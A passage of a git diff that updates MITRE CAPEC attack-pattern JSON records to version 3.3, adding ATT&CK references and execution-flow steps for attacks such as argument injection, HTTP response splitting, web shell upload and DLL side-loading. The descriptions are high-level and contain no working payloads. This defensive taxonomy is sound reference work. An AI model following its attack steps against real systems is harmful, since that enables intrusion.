", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The victim is communicating with the target application via a web based UI and not a thick client. The victim's browser security policies allow iFrames. The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser). The victim has an active session with the target system. The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system." @@ -79,7 +80,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b974175d-c76a-4168-af55-ea0cb0695286.json b/capec/attack-pattern/attack-pattern--b974175d-c76a-4168-af55-ea0cb0695286.json index 4254e5949a..ad0e59f171 100644 --- a/capec/attack-pattern/attack-pattern--b974175d-c76a-4168-af55-ea0cb0695286.json +++ b/capec/attack-pattern/attack-pattern--b974175d-c76a-4168-af55-ea0cb0695286.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--12c40375-beee-4255-9c70-ce2902d1aac8", + "id": "bundle--7aa08d80-175e-462d-b082-1ba4078addbb", "spec_version": "2.0", "objects": [ { @@ -49,7 +49,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7.json b/capec/attack-pattern/attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7.json index 3ac0689f84..3ac19df758 100644 --- a/capec/attack-pattern/attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7.json +++ b/capec/attack-pattern/attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--22ae1761-ef8a-4f58-bd7b-77f15e2a698c", + "id": "bundle--67faa424-845e-4ce6-a079-8df51db6018d", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Argument Injection", "description": "An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.", "external_references": [ @@ -84,8 +84,9 @@ ] }, "x_capec_example_instances": [ - "A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. [R.6.2]" + "A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. [REF-482]" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Discovery of potential injection vectors: Using an automated tool or manual discovery, the attacker identifies services or methods with arguments that could potentially be used as injection vectors (OS, API, SQL procedures, etc.).

    2. Techniques
    Manually cover the application and record the possible places where arguments could be passed into external systems.
    Use a spider, for web applications, to create a list of URLs and associated inputs.

Experiment

  1. 1. Attempt variations on argument content: Possibly using an automated tool, the attacker will perform injection variations of the arguments.

    2. Techniques
    Use a very large list of probe strings in order to detect if there is a positive result, and, what type of system has been targeted (if obscure).
    Use a proxy tool to record results, error messages and/or log if accessible.

Exploit

  1. Abuse of the application: The attacker injects specific syntax into a particular argument in order to generate a specific malicious effect in the targeted application.

    2. Techniques
    Manually inject specific payload into targeted argument.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target software fails to strip all user-supplied input of any content that could cause the shell to perform unexpected actions.", @@ -99,7 +100,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b9aeae0c-5c4a-44f9-a43b-49e3b00b7e69.json b/capec/attack-pattern/attack-pattern--b9aeae0c-5c4a-44f9-a43b-49e3b00b7e69.json index 2e4adf2682..3613f40c34 100644 --- a/capec/attack-pattern/attack-pattern--b9aeae0c-5c4a-44f9-a43b-49e3b00b7e69.json +++ b/capec/attack-pattern/attack-pattern--b9aeae0c-5c4a-44f9-a43b-49e3b00b7e69.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--972bbb15-1c9d-454d-b52f-1aa30403d86e", + "id": "bundle--81a4d3ad-ca7e-443f-afd7-0bf00cd5f3cb", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a.json b/capec/attack-pattern/attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a.json index 47ada6df3a..9c8edbbd4d 100644 --- a/capec/attack-pattern/attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a.json +++ b/capec/attack-pattern/attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--cee8c290-0c2b-49db-ae72-60dcf3c312fc", + "id": "bundle--ca5edfbf-2b84-4670-864f-1aaac2824cf3", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b9cddd44-a617-4a56-8560-0ca1cd9af42a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Upload a Web Shell to a Web Server", "description": "By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a \"gateway\" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.", "external_references": [ @@ -26,6 +26,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/553.html", "external_id": "CWE-553" + }, + { + "source_name": "ATTACK", + "description": "Server Software Component:Web Shell", + "url": "https://attack.mitre.org/wiki/Technique/T1505/003", + "external_id": "T1505.003" } ], "object_marking_refs": [ @@ -56,7 +62,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80.json b/capec/attack-pattern/attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80.json index 1f7d520d03..ea85feb7d4 100644 --- a/capec/attack-pattern/attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80.json +++ b/capec/attack-pattern/attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--85963e73-bc6d-4fd3-bcc4-91253fb766b8", + "id": "bundle--98be1a0f-7e30-4982-85f8-451fed1b8f5a", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ba694895-a0cf-494e-ace2-bf3488330b80", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "HTTP Response Splitting", "description": "This attack uses a maliciously-crafted HTTP request in order to cause a vulnerable web server to respond with an HTTP response stream that will be interpreted by the client as two separate responses instead of one. This is possible when user-controlled input is used unvalidated as part of the response headers. The target software, the client, will interpret the injected header as being a response to a second request, thereby causing the maliciously-crafted contents be displayed and possibly cached.", "external_references": [ @@ -73,6 +73,7 @@ "x_capec_example_instances": [ "In the PHP 5 session extension mechanism, a user-supplied session ID is sent back to the user within the Set-Cookie HTTP header. Since the contents of the user-supplied session ID are not validated, it is possible to inject arbitrary HTTP headers into the response body. This immediately enables HTTP Response Splitting by simply terminating the HTTP response header from within the session ID used in the Set-Cookie directive. See also: CVE-2006-0207" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links, the forms and all potential user-controllable input points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL, forms found in the pages (like file upload, etc.).
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Attempt variations on input parameters: The adversary injects the entry points identified in the Explore Phase with response splitting syntax and variations of payloads to be acted on in the additional response. They record all the responses from the server that include unmodified versions of their payload.

    2. Techniques
    Use CR\\LF characters (encoded or not) in the payloads in order to see if the HTTP header can be split.
    Use a proxy tool to record the HTTP responses headers.

Exploit

  1. Cross-Site Scripting: As the adversary succeeds in exploiting the vulnerability, they can choose to attack the user with Cross-Site Scripting. The possible outcomes of such an attack are described in the Cross-Site Scripting related attack patterns.

    2. Techniques
    Inject cross-site scripting payload preceded by response splitting syntax (CR/LF) into user-controllable input identified as vulnerable in the Experiment Phase.

  2. Cache poisoning: The adversary decides to target the cache server by forging new responses. The server will then cache the second request and response. The cached response has most likely an attack vector like Cross-Site Scripting; this attack will then be serve to many clients due to the caching system.

    3. Techniques
    The adversary decides to target the cache server by forging new responses. The server will then cache the second request and response. The cached response has most likely an attack vector like Cross-Site Scripting; this attack will then be serve to many clients due to the caching system.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "User-controlled input used as part of HTTP header", @@ -87,7 +88,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bac3d2d8-864c-4519-8e16-6d4e4fee6031.json b/capec/attack-pattern/attack-pattern--bac3d2d8-864c-4519-8e16-6d4e4fee6031.json index 977bdf04a7..dc37008794 100644 --- a/capec/attack-pattern/attack-pattern--bac3d2d8-864c-4519-8e16-6d4e4fee6031.json +++ b/capec/attack-pattern/attack-pattern--bac3d2d8-864c-4519-8e16-6d4e4fee6031.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bccf865a-0b3e-4eda-8493-9a4ea74055bd", + "id": "bundle--2a8d8b70-f02a-4c8c-8b8f-edef91da7755", "spec_version": "2.0", "objects": [ { @@ -38,7 +38,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad.json b/capec/attack-pattern/attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad.json index 743674e509..97f03fff68 100644 --- a/capec/attack-pattern/attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad.json +++ b/capec/attack-pattern/attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b926a9e2-b81c-480d-a926-581ef814020e", + "id": "bundle--031f209c-b069-48ed-acf9-d7ed9b27b699", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "UDP Flood", "description": "An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "object_marking_refs": [ @@ -31,7 +37,7 @@ "This type of an attack requires the ability to generate a large amount of UDP traffic to send to the desired port of a target service using UDP." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bbd4f017-9a98-495c-889f-68d85aca375a.json b/capec/attack-pattern/attack-pattern--bbd4f017-9a98-495c-889f-68d85aca375a.json index e92278dc5d..9a17b42967 100644 --- a/capec/attack-pattern/attack-pattern--bbd4f017-9a98-495c-889f-68d85aca375a.json +++ b/capec/attack-pattern/attack-pattern--bbd4f017-9a98-495c-889f-68d85aca375a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--57b513d0-bcaf-4020-b6b0-e86e33cff433", + "id": "bundle--d1ee5142-f0e5-41bd-a28e-141ed29abb4c", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bc008240-e0e0-4b97-9dbd-ffaba4c519b5.json b/capec/attack-pattern/attack-pattern--bc008240-e0e0-4b97-9dbd-ffaba4c519b5.json index 23ee21bb7b..b6076f2946 100644 --- a/capec/attack-pattern/attack-pattern--bc008240-e0e0-4b97-9dbd-ffaba4c519b5.json +++ b/capec/attack-pattern/attack-pattern--bc008240-e0e0-4b97-9dbd-ffaba4c519b5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ae0477ed-0452-48ae-be43-564239d2cdf7", + "id": "bundle--b309d1fd-3c80-4329-a53c-80862ee23f05", "spec_version": "2.0", "objects": [ { @@ -37,7 +37,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bc6411c8-18eb-4aa4-8643-a87a42813996.json b/capec/attack-pattern/attack-pattern--bc6411c8-18eb-4aa4-8643-a87a42813996.json index d8817b16f1..4b8ee9817b 100644 --- a/capec/attack-pattern/attack-pattern--bc6411c8-18eb-4aa4-8643-a87a42813996.json +++ b/capec/attack-pattern/attack-pattern--bc6411c8-18eb-4aa4-8643-a87a42813996.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--91df27a5-0750-41ba-ad73-a1911f8a8446", + "id": "bundle--4ad213b3-a80a-4676-8fa7-060649b86710", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bd4f8f46-1bc7-40a9-b15a-e36b7671cf5b.json b/capec/attack-pattern/attack-pattern--bd4f8f46-1bc7-40a9-b15a-e36b7671cf5b.json index 5a0dfc8f85..a862d0557f 100644 --- a/capec/attack-pattern/attack-pattern--bd4f8f46-1bc7-40a9-b15a-e36b7671cf5b.json +++ b/capec/attack-pattern/attack-pattern--bd4f8f46-1bc7-40a9-b15a-e36b7671cf5b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4fb2b286-a253-48ea-9461-2b355f837b56", + "id": "bundle--7fb0c700-63aa-4006-97a7-9e40175ae2c9", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--bd4f8f46-1bc7-40a9-b15a-e36b7671cf5b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Content Spoofing", "description": "An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.", "external_references": [ @@ -34,14 +34,14 @@ }, "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ - "The target must provide content but fail to adequately protect it against modification.The adversary must have the means to alter data to which he/she is not authorized.If the content is to be modified in transit, the adversary must be able to intercept the targeted messages." + "The target must provide content but fail to adequately protect it against modification.The adversary must have the means to alter data to which they are not authorized. If the content is to be modified in transit, the adversary must be able to intercept the targeted messages." ], "x_capec_resources_required": [ "\n If the content is to be modified in transit, the adversary requires a tool capable of intercepting the target's communication and generating/creating custom packets to impact the communications.\n In some variants, the targeted content is altered so that all or some of it is redirected towards content published by the attacker (for example, images and frames in the target's web site might be modified to be loaded from a source controlled by the attacker). In these cases, the attacker requires the necessary resources to host the replacement content.\n " ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bd8c61f4-92e7-496c-8d88-e3274d9165c4.json b/capec/attack-pattern/attack-pattern--bd8c61f4-92e7-496c-8d88-e3274d9165c4.json index 511d30622a..f1a154aca3 100644 --- a/capec/attack-pattern/attack-pattern--bd8c61f4-92e7-496c-8d88-e3274d9165c4.json +++ b/capec/attack-pattern/attack-pattern--bd8c61f4-92e7-496c-8d88-e3274d9165c4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b1ac65ef-0f1b-4e09-922c-636a08875082", + "id": "bundle--89f0c87a-391e-4b2f-8fa9-99c52043df76", "spec_version": "2.0", "objects": [ { @@ -75,7 +75,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bdc2219a-ebe0-4372-90b8-841dd7bd4c8e.json b/capec/attack-pattern/attack-pattern--bdc2219a-ebe0-4372-90b8-841dd7bd4c8e.json index 7d67df6462..251099f809 100644 --- a/capec/attack-pattern/attack-pattern--bdc2219a-ebe0-4372-90b8-841dd7bd4c8e.json +++ b/capec/attack-pattern/attack-pattern--bdc2219a-ebe0-4372-90b8-841dd7bd4c8e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--704bfd6d-1c54-4a9c-9e1e-788b49b1cae6", + "id": "bundle--760031e3-acff-4c1e-b061-96459138711a", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--bdc2219a-ebe0-4372-90b8-841dd7bd4c8e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Interception", - "description": "An adversary monitors data streams to or from the target for information gathering purposes. This attack may be undertaken to solely gather sensitive information or to support a further attack against the target. This attack pattern can involve sniffing network traffic as well as other types of data streams (e.g. radio). The adversary can attempt to initiate the establishment of a data stream or passively observe the communications as they unfold. In all variants of this attack, the adversary is not the intended recipient of the data stream. In contrast to other means of gathering information (e.g., targeting data leaks), the adversary must actively position himself so as to observe explicit data channels (e.g. network traffic) and read the content. However, this attack differs from a Man-In-the-Middle (MITM) attack, as the adversary does not alter the content of the communications nor forward data to the intended recipient.", + "description": "An adversary monitors data streams to or from the target for information gathering purposes. This attack may be undertaken to solely gather sensitive information or to support a further attack against the target. This attack pattern can involve sniffing network traffic as well as other types of data streams (e.g. radio). The adversary can attempt to initiate the establishment of a data stream or passively observe the communications as they unfold. In all variants of this attack, the adversary is not the intended recipient of the data stream. In contrast to other means of gathering information (e.g., targeting data leaks), the adversary must actively position themself so as to observe explicit data channels (e.g. network traffic) and read the content. However, this attack differs from a Man-In-the-Middle (MITM) attack, as the adversary does not alter the content of the communications nor forward data to the intended recipient.", "external_references": [ { "source_name": "capec", @@ -41,7 +41,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bdcdc784-d891-4ca8-847b-38ddca37a6ec.json b/capec/attack-pattern/attack-pattern--bdcdc784-d891-4ca8-847b-38ddca37a6ec.json index 9dc6cbadf7..84a6049890 100644 --- a/capec/attack-pattern/attack-pattern--bdcdc784-d891-4ca8-847b-38ddca37a6ec.json +++ b/capec/attack-pattern/attack-pattern--bdcdc784-d891-4ca8-847b-38ddca37a6ec.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bdd1290d-d04b-4c7d-b9c8-389a9310e438", + "id": "bundle--e939df92-47c8-457a-8340-507ec7357d33", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--bdcdc784-d891-4ca8-847b-38ddca37a6ec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Sniffing Attacks", "description": "In this attack pattern, the adversary intercepts information transmitted between two third parties. The adversary must be able to observe, read, and/or hear the communication traffic, but not necessarily block the communication or change its content. Any transmission medium can theoretically be sniffed if the adversary can examine the contents between the sender and recipient. Sniffing Attacks are similar to Man-In-The-Middle attacks (CAPEC-94), but are entirely passive. MITM attacks are predominantly active and often alter the content of the communications themselves.", "external_references": [ @@ -40,7 +40,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bddd2549-167f-4f7b-8d0f-6d1e647b26f6.json b/capec/attack-pattern/attack-pattern--bddd2549-167f-4f7b-8d0f-6d1e647b26f6.json index b1f5bdc5d5..f948811064 100644 --- a/capec/attack-pattern/attack-pattern--bddd2549-167f-4f7b-8d0f-6d1e647b26f6.json +++ b/capec/attack-pattern/attack-pattern--bddd2549-167f-4f7b-8d0f-6d1e647b26f6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0441f3fb-7c51-4e66-83e9-beedcb4f2e6f", + "id": "bundle--9f9449ad-65ca-41bc-add4-590d2aba720f", "spec_version": "2.0", "objects": [ { @@ -31,7 +31,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd.json b/capec/attack-pattern/attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd.json index 8dbff2df3e..a3228a6ea2 100644 --- a/capec/attack-pattern/attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd.json +++ b/capec/attack-pattern/attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--97b95408-c685-402b-ad63-c3d41366f1b1", + "id": "bundle--7e5b0da4-2187-417d-9483-6aae0018e824", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Data Injected During Configuration", "description": "An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.", "external_references": [ @@ -46,7 +46,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bec2babe-f38d-49ed-a901-4c7dbbe87b1e.json b/capec/attack-pattern/attack-pattern--bec2babe-f38d-49ed-a901-4c7dbbe87b1e.json index faeadf6800..000dd8bfc1 100644 --- a/capec/attack-pattern/attack-pattern--bec2babe-f38d-49ed-a901-4c7dbbe87b1e.json +++ b/capec/attack-pattern/attack-pattern--bec2babe-f38d-49ed-a901-4c7dbbe87b1e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c5790a13-7e09-4fea-867b-774f55dcafe5", + "id": "bundle--b1ddecf8-5346-4801-bf1a-c86c1e2bcd17", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--bec2babe-f38d-49ed-a901-4c7dbbe87b1e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-04-12T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Token Impersonation", "description": "An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.", "external_references": [ @@ -21,6 +21,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/287.html", "external_id": "CWE-287" + }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Token Impersonation/Theft", + "url": "https://attack.mitre.org/wiki/Technique/T1134/001", + "external_id": "T1134.001" + }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Make and Impersonate Token", + "url": "https://attack.mitre.org/wiki/Technique/T1134/003", + "external_id": "T1134.003" } ], "object_marking_refs": [ @@ -39,7 +51,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328.json b/capec/attack-pattern/attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328.json index abd604efdd..82118cbb03 100644 --- a/capec/attack-pattern/attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328.json +++ b/capec/attack-pattern/attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0ef6f1ee-edff-4e6f-8d90-1467348b3bb3", + "id": "bundle--771c63cc-cc64-4c37-b12c-a02e7f84af7b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "DLL Side-Loading", "description": "An adversary places a malicious version of a Dynamic-Link Library (DLL) in the Windows Side-by-Side (WinSxS) directory to trick the operating system into loading this malicious DLL instead of a legitimate DLL. Programs specify the location of the DLLs to load via the use of WinSxS manifests or DLL redirection and if they aren't used then Windows searches in a predefined set of directories to locate the file. If the applications improperly specify a required DLL or WinSxS manifests aren't explicit about the characteristics of the DLL to be loaded, they can be vulnerable to side-loading.", "external_references": [ @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/706.html", "external_id": "CWE-706" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:DLL Side-Loading", + "url": "https://attack.mitre.org/wiki/Technique/T1574/002", + "external_id": "T1574.002" + }, { "source_name": "reference_from_CAPEC", "description": "Stewart A., DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry, FireEye", @@ -48,7 +54,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bfb711d6-f12d-496e-88b9-2c0184485976.json b/capec/attack-pattern/attack-pattern--bfb711d6-f12d-496e-88b9-2c0184485976.json index 56759149f7..530d598a46 100644 --- a/capec/attack-pattern/attack-pattern--bfb711d6-f12d-496e-88b9-2c0184485976.json +++ b/capec/attack-pattern/attack-pattern--bfb711d6-f12d-496e-88b9-2c0184485976.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0f554524-b831-43c8-ad53-b28f62d4d0b0", + "id": "bundle--54fc4924-6d0a-4749-ad9f-503a129077d5", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3.json 